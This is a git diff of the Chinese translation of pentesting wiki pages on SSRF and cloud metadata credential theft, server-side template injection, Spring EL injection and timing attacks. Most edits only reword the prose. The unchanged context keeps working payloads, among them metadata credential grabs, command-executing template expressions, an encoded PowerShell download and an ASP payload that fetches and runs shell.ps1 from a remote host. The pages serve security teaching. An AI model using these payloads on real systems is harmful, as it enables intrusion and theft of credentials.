[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器的 DNS 名称的 IP 地址重新绑定到目标机器的 IP 地址所需的组件,并向目标机器提供攻击有效载荷以利用易受攻击的软件。
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器 DNS 名称的 IP 地址重新绑定到目标机器 IP 地址的必要组件,并向目标机器提供攻击有效载荷以利用易受攻击的软件。
|
||||
|
||||
还可以查看 **公共运行服务器** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
@ -279,7 +279,7 @@ Connection: close
|
||||
2. **DNS** 的 **TTL** 为 **0** 秒(因此受害者将很快再次检查该域名的 IP)
|
||||
3. 在受害者和攻击者的域名之间建立 **TLS 连接**。攻击者将 **有效载荷放入** **会话 ID 或会话票证** 中。
|
||||
4. **域名** 将开始对 **自己** 的 **无限重定向** 循环。这样做的目的是让用户/机器人访问该域名,直到它 **再次** 执行该域名的 **DNS 请求**。
|
||||
5. 在 DNS 请求中 **现在** 提供了一个 **私有 IP** 地址(例如 127.0.0.1)
|
||||
5. 在 DNS 请求中 **现在** 提供一个 **私有 IP** 地址(例如 127.0.0.1)
|
||||
6. 用户/机器人将尝试 **重新建立 TLS 连接**,为此它将 **发送** **会话** ID/票证 ID(其中包含了攻击者的 **有效载荷**)。恭喜你成功地让 **用户/机器人攻击自己**。
|
||||
|
||||
请注意,在此攻击期间,如果您想攻击 localhost:11211 (_memcache_),您需要让受害者与 www.attacker.com:11211 建立初始连接(**端口必须始终相同**)。\
|
||||
@ -314,7 +314,7 @@ ssrf-vulnerable-platforms.md
|
||||
|
||||
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
||||
|
||||
用于检测和利用 SSRF 漏洞的工具
|
||||
检测和利用 SSRF 漏洞的工具
|
||||
|
||||
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
||||
|
||||
|
||||
@ -81,7 +81,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
||||
|
||||
然后,您可以**使用这些凭证与AWS CLI**。这将允许您执行**该角色具有权限**的任何操作。
|
||||
|
||||
要利用新凭证,您需要创建一个新的AWS配置文件,如下所示:
|
||||
要利用新的凭证,您需要创建一个新的AWS配置文件,如下所示:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG71[...]
|
||||
@ -94,7 +94,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||
|
||||
### AWS ECS(容器服务)中的 SSRF 凭据
|
||||
|
||||
**ECS** 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您成功地攻陷在 **ECS** 中运行的服务,**元数据端点会发生变化**。
|
||||
**ECS** 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您成功地攻陷了在 **ECS** 中运行的服务,**元数据端点会发生变化**。
|
||||
|
||||
如果您访问 _**http://169.254.170.2/v2/credentials/\<GUID>**_,您将找到 ECS 机器的凭据。但首先,您需要 **找到 \<GUID>**。要找到 \<GUID>,您需要读取机器内部的 **environ** 变量 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**。\
|
||||
您可以通过利用 **路径遍历** 来读取它,路径为 `file:///proc/self/environ`。\
|
||||
@ -103,11 +103,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> 请注意,在**某些情况下**,您将能够从容器访问**EC2元数据实例**(请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器的IAM角色和EC2的IAM角色。
|
||||
> 请注意,在**某些情况下**,您将能够从容器访问**EC2元数据实例**(请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器IAM角色和EC2 IAM角色。
|
||||
|
||||
### SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
在这种情况下,**凭证存储在环境变量中**。因此,要访问它们,您需要访问类似于**`file:///proc/self/environ`**的内容。
|
||||
在这种情况下,**凭据存储在环境变量中**。因此,要访问它们,您需要访问类似于**`file:///proc/self/environ`**的内容。
|
||||
|
||||
**有趣的环境变量**的**名称**是:
|
||||
|
||||
@ -115,10 +115,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
- `AWS_SECRET_ACCESS_KEY`
|
||||
- `AWS_ACCES_KEY_ID`
|
||||
|
||||
此外,除了IAM凭证,Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(例如在**stageVariables**中)。与IAM凭证不同,这些数据可以通过标准SSRF访问**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
|
||||
此外,除了IAM凭据,Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(例如在**stageVariables**中)。与IAM凭据不同,这些数据可以通过标准SSRF访问**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,**lambda凭证**在**环境变量**中。因此,如果lambda代码的**堆栈跟踪**打印环境变量,则可能通过在应用中**引发错误**来**外泄它们**。
|
||||
> 请注意,**lambda凭据**在**环境变量**中。因此,如果lambda代码的**堆栈跟踪**打印环境变量,则可能通过在应用中**引发错误**来**外泄它们**。
|
||||
|
||||
### SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
@ -127,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
然后我们从 API 中获取 `AccessKeyId`、`SecretAccessKey` 和 `Token`。
|
||||
然后我们从API中获取`AccessKeyId`、`SecretAccessKey`和`Token`。
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
@ -299,7 +299,7 @@ done
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
> [!WARNING]
|
||||
> 这里没有像 AWS Roles 或 GCP 服务账户这样的东西,所以不要指望找到元数据机器人凭据
|
||||
> 这里没有像 AWS Roles 或 GCP service account 这样的东西,所以不要指望找到元数据机器人凭证
|
||||
|
||||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
@ -540,7 +540,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
||||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,在 IBM 中,默认情况下元数据未启用,因此即使您在 IBM 云 VM 内部,也可能无法访问它。
|
||||
> 请注意,在 IBM 中,默认情况下元数据未启用,因此即使您在 IBM 云 VM 内,也可能无法访问它。
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -564,7 +564,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
以下是各种平台元数据服务的文档,突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点来访问其元数据服务。
|
||||
以下是各种平台元数据服务的文档,突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点以访问其元数据服务。
|
||||
|
||||
## Packetcloud
|
||||
|
||||
@ -608,7 +608,7 @@ Kubernetes ETCD 可以保存 API 密钥、内部 IP 地址和端口。访问示
|
||||
|
||||
## Docker
|
||||
|
||||
Docker 元数据可以在本地访问,提供了容器和镜像信息检索的示例:
|
||||
Docker 元数据可以在本地访问,以下是获取容器和镜像信息的示例:
|
||||
|
||||
- 通过 Docker 套接字访问容器和镜像元数据的简单示例:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
|
||||
@ -77,7 +77,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式化绕过。
|
||||
**Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式绕过。
|
||||
|
||||
### 域解析器
|
||||
```bash
|
||||
@ -145,7 +145,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### 路径和扩展绕过
|
||||
|
||||
如果您需要 URL 以路径或扩展名结尾,或必须包含路径,您可以尝试以下绕过方法:
|
||||
如果要求 URL 必须以路径或扩展名结尾,或者必须包含路径,您可以尝试以下绕过方法:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -157,13 +157,13 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。
|
||||
查看来自 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
服务器可能在 **过滤 SSRF 的原始请求**,**但不**过滤对该请求的可能 **重定向** 响应。\
|
||||
服务器可能在 **过滤原始请求** 的 SSRF **但不** 过滤对该请求的可能 **重定向** 响应。\
|
||||
例如,一个通过 `url=https://www.google.com/` 漏洞的 SSRF 服务器可能在 **过滤 url 参数**。但是,如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方,您可能能够 **访问被过滤的 IP 地址**,如 127.0.0.1,甚至被过滤的 **协议**,如 gopher。\
|
||||
[查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
@ -196,7 +196,7 @@ _反斜杠技巧_ 利用 [WHATWG URL Standard](https://url.spec.whatwg.org/#url-
|
||||
|
||||
### 左方括号
|
||||
|
||||
用户信息段中的“左方括号”字符 `[` 可能导致 Spring 的 UriComponentsBuilder 返回与浏览器不同的主机名值:[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
用户信息段中的“左方括号”字符 `[` 可以导致 Spring 的 UriComponentsBuilder 返回一个与浏览器不同的主机名值:[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### 其他混淆
|
||||
|
||||
|
||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - 沙盒绕过**
|
||||
**Freemarker - 沙箱绕过**
|
||||
|
||||
⚠️ 仅适用于 2.3.30 版本以下的 Freemarker
|
||||
```java
|
||||
@ -171,9 +171,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Thymeleaf 要求这些表达式放置在特定属性中。然而,_表达式内联_ 对其他模板位置是支持的,使用语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
|
||||
|
||||
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态创建字符串模板,这并不常见。
|
||||
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发者需要实现自己的 `TemplateResolver` 以动态从字符串创建模板,这并不常见。
|
||||
|
||||
Thymeleaf 还提供 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时使用,如 Thymeleaf 文档中所示:
|
||||
Thymeleaf 还提供 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用,如 Thymeleaf 文档中所示:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
|
||||
- **JavaServer Faces (JSF)**:使用 EL 将 JSF 页面中的组件绑定到相应的后端数据和操作。
|
||||
- **JavaServer Pages (JSP)**:EL 在 JSP 中用于访问和操作 JSP 页面中的数据,使得将页面元素连接到应用数据变得更容易。
|
||||
- **Java EE 的上下文和依赖注入 (CDI)**:EL 与 CDI 集成,允许 web 层与托管 bean 之间无缝交互,确保更连贯的应用结构。
|
||||
- **Java EE 的上下文和依赖注入 (CDI)**:EL 与 CDI 集成,允许 web 层与托管 bean 之间的无缝交互,确保更连贯的应用结构。
|
||||
|
||||
查看以下页面以了解更多关于 **EL 解释器的利用**:
|
||||
|
||||
@ -637,7 +637,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
||||
```
|
||||
- \= 错误
|
||||
- ${7\*7} = ${7\*7}
|
||||
- 无内容
|
||||
- 无
|
||||
```java
|
||||
{{#with "s" as |string|}}
|
||||
{{#with "e"}}
|
||||
@ -668,12 +668,12 @@ URLencoded:
|
||||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **模板** | **描述** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | 评估并渲染输出 |
|
||||
| | 评估并渲染HTML编码输出 |
|
||||
| | 注释 |
|
||||
| 和 | 允许代码(默认禁用) |
|
||||
| **模板** | **描述** |
|
||||
| -------- | ---------------------------------- |
|
||||
| | 评估并渲染输出 |
|
||||
| | 评估并渲染HTML编码输出 |
|
||||
| | 注释 |
|
||||
| 和 | 允许代码(默认禁用) |
|
||||
|
||||
- \= 49
|
||||
|
||||
@ -779,7 +779,7 @@ range.constructor(
|
||||
|
||||
### Python
|
||||
|
||||
查看以下页面以了解关于 **任意命令执行绕过沙箱** 的技巧:
|
||||
查看以下页面以了解关于 **绕过沙箱的任意命令执行** 的技巧:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -910,7 +910,7 @@ ${x}
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NET `System.Diagnostics.Process.Start` 方法可以用来在服务器上启动任何进程,从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
||||
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程,从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
||||
|
||||
**更多信息**
|
||||
|
||||
@ -921,7 +921,7 @@ ${x}
|
||||
|
||||
- `<%= 7*7 %>` = 49
|
||||
- `<%= "foo" %>` = foo
|
||||
- `<%= foo %>` = Nothing
|
||||
- `<%= foo %>` = 无
|
||||
- `<%= response.write(date()) %>` = \<Date>
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
@ -952,7 +952,7 @@ ${x}
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
使用 `text/template` 包,XSS 可以通过直接插入有效载荷来实现。相反,`html/template` 包对响应进行编码以防止这种情况(例如,`{{"<script>alert(1)</script>"}}` 结果为 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过这种编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
使用 `text/template` 包,XSS 可以通过直接插入有效载荷来实现。相反,`html/template` 包对响应进行编码以防止这种情况(例如,`{{"<script>alert(1)</script>"}}` 的结果是 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过这种编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
表达式语言 (EL) 是 JavaEE 中的重要组成部分,用于连接表示层(例如,网页)和应用逻辑(例如,受管 bean),使它们能够相互作用。它主要用于:
|
||||
表达式语言 (EL) 是 JavaEE 中不可或缺的一部分,用于连接表现层(例如,网页)和应用逻辑(例如,受管 bean),使它们能够相互作用。它主要用于:
|
||||
|
||||
- **JavaServer Faces (JSF)**:用于将 UI 组件绑定到后端数据/操作。
|
||||
- **JavaServer Pages (JSP)**:用于在 JSP 页面中访问和操作数据。
|
||||
@ -13,16 +13,16 @@
|
||||
**使用上下文**:
|
||||
|
||||
- **Spring 框架**:应用于安全和数据等各种模块。
|
||||
- **通用使用**:通过 SpEL API 由 JVM 语言(如 Java、Kotlin 和 Scala)中的开发人员使用。
|
||||
- **通用使用**:通过 SpEL API 由 JVM 语言(如 Java、Kotlin 和 Scala)的开发人员使用。
|
||||
|
||||
EL 存在于 JavaEE 技术、独立环境中,并通过 `.jsp` 或 `.jsf` 文件扩展名、堆栈错误和头部中的“Servlet”等术语可识别。然而,其特性和某些字符的使用可能依赖于版本。
|
||||
|
||||
> [!NOTE]
|
||||
> 根据 **EL 版本**,某些 **特性** 可能是 **开启** 或 **关闭**,通常某些 **字符** 可能是 **不允许** 的。
|
||||
> 根据 **EL 版本**,某些 **特性** 可能是 **开启** 或 **关闭** 的,通常某些 **字符** 可能是 **不允许** 的。
|
||||
|
||||
## 基本示例
|
||||
|
||||
(您可以在 [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) 找到另一个关于 EL 的有趣教程)
|
||||
(您可以在 [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) 找到另一个关于 EL 的有趣教程)
|
||||
|
||||
从 [**Maven**](https://mvnrepository.com) 仓库下载 jar 文件:
|
||||
|
||||
@ -52,7 +52,7 @@ System.out.println(result);
|
||||
}
|
||||
}
|
||||
```
|
||||
接下来编译代码(如果您没有安装 `javac`,请安装 `sudo apt install default-jdk`):
|
||||
接下来编译代码(如果你没有安装 `javac`,请安装 `sudo apt install default-jdk`):
|
||||
```java
|
||||
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
||||
```
|
||||
@ -63,7 +63,7 @@ Enter a String to evaluate:
|
||||
{5*5}
|
||||
[25]
|
||||
```
|
||||
注意在前面的例子中,术语 `{5*5}` 是如何被 **评估** 的。
|
||||
注意在前面的例子中,术语 `{5*5}` 是 **被评估** 的。
|
||||
|
||||
## **CVE 基于的教程**
|
||||
|
||||
@ -190,7 +190,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
||||
- `sessionScope` - 会话变量
|
||||
- `param.X` - 参数值,其中 X 是 http 参数的名称
|
||||
|
||||
您需要将这些变量转换为字符串,例如:
|
||||
您需要将这些变量转换为字符串,如:
|
||||
```bash
|
||||
${sessionScope.toString()}
|
||||
```
|
||||
@ -206,7 +206,7 @@ ${employee.FirstName}
|
||||
```
|
||||
## WAF 绕过
|
||||
|
||||
查看 [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
|
||||
检查 [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -64,7 +64,7 @@ app.run()
|
||||
|
||||
### 访问全局对象
|
||||
|
||||
例如,在代码 `render_template("hello.html", username=username, email=email)` 中,对象 username 和 email **来自非沙箱的 Python 环境**,并且在 **沙箱环境** 中是 **可访问的**。\
|
||||
例如,在代码 `render_template("hello.html", username=username, email=email)` 中,对象 username 和 email **来自非沙箱的 Python 环境**,并且在 **沙箱环境** 内是 **可访问的**。\
|
||||
此外,还有其他对象将 **始终可以从沙箱环境访问**,这些对象是:
|
||||
```
|
||||
[]
|
||||
@ -76,7 +76,7 @@ request
|
||||
```
|
||||
### 恢复 \<class 'object'>
|
||||
|
||||
然后,从这些对象中我们需要到达类:**`<class 'object'>`** 以尝试 **恢复** 定义的 **类**。这是因为从这个对象我们可以调用 **`__subclasses__`** 方法并 **访问所有非沙箱** 的 python 环境中的类。
|
||||
然后,从这些对象中我们需要到达类:**`<class 'object'>`** 以尝试 **恢复** 定义的 **类**。这是因为从这个对象我们可以调用 **`__subclasses__`** 方法并 **访问所有非沙箱** python 环境中的类。
|
||||
|
||||
为了访问该 **对象类**,您需要 **访问一个类对象**,然后访问 **`__base__`**、**`__mro__()[-1]`** 或 **`.`**`mro()[-1]`**。然后,在到达这个 **对象类** 之后,我们 **调用** **`__subclasses__()`**。
|
||||
|
||||
@ -128,7 +128,7 @@ dict.__mro__[-1]
|
||||
|
||||
**恢复了** `<class 'object'>` 并调用了 `__subclasses__`,我们现在可以使用这些类来读取和写入文件以及执行代码。
|
||||
|
||||
对 `__subclasses__` 的调用给了我们机会 **访问数百个新函数**,我们将仅通过访问 **文件类** 来 **读取/写入文件** 或任何可以访问 **允许执行命令** 的类(如 `os`)。
|
||||
对 `__subclasses__` 的调用给了我们机会 **访问数百个新函数**,我们只需访问 **文件类** 来 **读取/写入文件** 或任何可以访问 **允许执行命令** 的类(如 `os`)。
|
||||
|
||||
**读取/写入远程文件**
|
||||
```python
|
||||
@ -220,7 +220,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**通过编写恶意配置文件进行 RCE。**
|
||||
**通过编写恶意配置文件进行RCE。**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
@ -245,10 +245,10 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||
|
||||
|
||||
```
|
||||
## Jinja 注入没有 **\<class 'object'>**
|
||||
## Jinja 注入而不使用 **\<class 'object'>**
|
||||
|
||||
从 [**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以到达 **RCE 而不使用该类。**\
|
||||
如果你设法从这些全局对象中获取到任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 是非常 **简单** 的。
|
||||
从 [**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以在 **不使用该类的情况下获得 RCE。**\
|
||||
如果你设法从这些全局对象中获取任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里获得 **RCE** 是非常 **简单** 的。
|
||||
|
||||
你可以通过以下方式从 **`request`**、**`config`** 和任何 **其他** 有趣的 **全局对象** 中 **找到函数**:
|
||||
```bash
|
||||
@ -294,7 +294,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具,但在真实场景中也可以用于暴力破解无效参数。该工具仅仅是喷洒单词和查询以检测过滤器,寻找绕过方法,并提供一个交互式控制台。
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具,但在真实场景中也可以用于暴力破解无效参数。该工具仅通过喷洒单词和查询来检测过滤器,寻找绕过方法,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
@ -319,7 +319,7 @@ crack-request: Read a request file for attack
|
||||
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
||||
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
||||
```
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
- 查看 [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
|
||||
@ -9,18 +9,18 @@
|
||||
|
||||
时序攻击的基本目标是通过**检查相似请求的响应时间差异**来回答复杂问题或检测隐藏功能。
|
||||
|
||||
传统上,由于网络和服务器引入的延迟和抖动,这一直非常复杂。然而,自从发现和改进了[**竞争条件单包攻击**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization)后,可以使用此技术将所有网络延迟噪声从方程中去除。\
|
||||
传统上,这一直非常复杂,因为网络和服务器引入的延迟和抖动。然而,自从发现和改进了[**Race Condition Single Packet attack**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization)后,可以使用此技术将所有网络延迟噪声从方程中去除。\
|
||||
只留下**服务器延迟**使得时序攻击更容易被发现和利用。
|
||||
|
||||
## Discoveries
|
||||
|
||||
### Hidden Attack Surface
|
||||
|
||||
在博客文章中提到,使用此技术可以找到隐藏参数甚至头部,只需检查每当参数或头部在请求中存在时,**时间差约为5毫秒**。实际上,这种发现技术已被添加到Burp Suite的**Param Miner**中。
|
||||
在博客文章中提到,使用此技术可以找到隐藏参数甚至头部,只需检查每当参数或头部出现在请求中时,**时间差约为5毫秒**。实际上,这种发现技术已被添加到Burp Suite的**Param Miner**中。
|
||||
|
||||
这些时间差可能是因为**DNS请求**被执行,某些**日志被写入**因为无效输入,或者因为在请求中存在参数时执行了一些**检查**。
|
||||
|
||||
在执行这种攻击时需要记住的一点是,由于表面的隐藏性质,您可能不知道时间差的实际原因是什么。
|
||||
在执行这种攻击时需要记住的一点是,由于表面的隐藏性质,您可能不知道时间差的实际原因。
|
||||
|
||||
### Reverse Proxy Misconfigurations
|
||||
|
||||
|
||||
@ -23,13 +23,13 @@ Unicode字符通常用**`\u`前缀**表示。例如字符`㱋`是`\u3c4b`([在
|
||||
如果后端存在漏洞,你可以使用此技术**注入任何类型的字符**。\
|
||||
查看[https://unicode-explorer.com/](https://unicode-explorer.com/)以找到你需要的字符。
|
||||
|
||||
这个漏洞实际上来自一位研究人员发现的漏洞,想要更深入的解释请查看[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
|
||||
